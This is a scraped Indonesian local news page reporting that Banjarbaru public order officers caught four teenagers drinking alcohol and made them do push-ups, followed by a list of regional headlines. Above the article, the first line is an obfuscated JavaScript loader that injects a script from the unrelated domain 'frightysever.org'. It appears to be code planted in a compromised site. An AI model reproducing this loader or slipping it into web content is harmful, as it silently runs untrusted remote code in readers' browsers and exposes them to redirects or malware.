(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

4 Remaja Kedapatan ‘Minum Bareng’ di Kos, Satpol PP Berikan Push Up


 BANJARBARU, Sebanyak 4 orang remaja kedapatan mengkonsumsi miras saat giat patroli Satpol PP Kota Banjarbaru, Sabtu (22/6) malam.

Kasatpol PP Banjarbaru, Marhain Rahman melalui PPNS Seksi Opsdal, Yanto Hidayat, mengatakan sehari sebelumnya pihaknya memang telah melakukan razia ke sejumlah karaoke dan kafe. Namun lantaran adanya laporan dari masyarakat terkait kos-kosan yang disinyalir sebagai tempat untuk berpesta miras, Satpol PP lantas mengubah sasarannya di hari berikutnya.

“Saat dilakukan penyisiran satu persatu kos-kosan yang dituju, sebagian besar kamar kos-kosan yang dominan ditempati para mahasiswa banyak yang kosong,” katanya, Senin (24/6).

Petugas juga memeriksa kamar-kamar yang disewa tamu hotel. Saat ditanya dan diminta kartu identitas oleh petugas, sebagian dari mereka mengaku menyewa kamar hanya untuk istirahat sehabis pergi jalan-jalan.

Pada saat kegiatan berjalan, petugas kembali mendapati laporan dari warga tentang adanya sekumpulan anak muda sedang minum-minuman keras di wilayah Palam Trikora, Kecamatan Cempaka, Kota Banjarbaru.

Benar saja, tepat dilokasi yang dimaksud, 4 orang remaja berhasil diamankan bersama barang bukti 1 botol miras, 1 botol miniman berenergi, dan 1 botol minuman bersoda yang sudah habis diminum.

“Mereka kemudian diberikan peringatan serta tindakan berupa hukuman ditempat (push-up) agar menimbulkan efek jera dalam diri pribadi mereka masing-masing,” tandas Yanto Hidayat.

Masih banyaknya remaja yang kedapatan mengkomsumsi miras tentu menjadi perhatian pihak Satpol PP Banjarbaru. Seperti halnya pada Sabtu (15/6/2019) sebelumnya, dimana 6 orang remaja kedapatan sedang mengkonsumsi miras dan menghirup lem fox.

Giat patroli rutin di kawasan Ruang Terbuka Hijau (RTH) di wilayah Kota Banjarbaru tersebut, petugas menumkan 2 orang remaja yang mengonsumsi minuman gaduk (miras oplosan terdiri campuran alkohol dengan minuman suplemen), kemudian 2 orang tengah mengisap lem Fox, dan 2 orang lagi sedang asyik nongkrong dengan minuman keras jenis tuak.

Bahkan hasil keterangan ke 6 remaja tersebut,  rata-rata dari mereka berdomisili dari luar daerah. Kasatpol PP Banjarbaru mengatakan keprihatinannya terhadap generasi muda yang telah tercemar oleh miras.

“Ini menjadi perhatian kita khususnya para orang tua untuk dapat mengawal generasi muda agar tidak tercemar miras. Apabila diteruskan nanti tidak bisa mikir dan jadi generasi yang rusak,” pungkasnya. (rico)

Reporter: Rico
Editor: Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.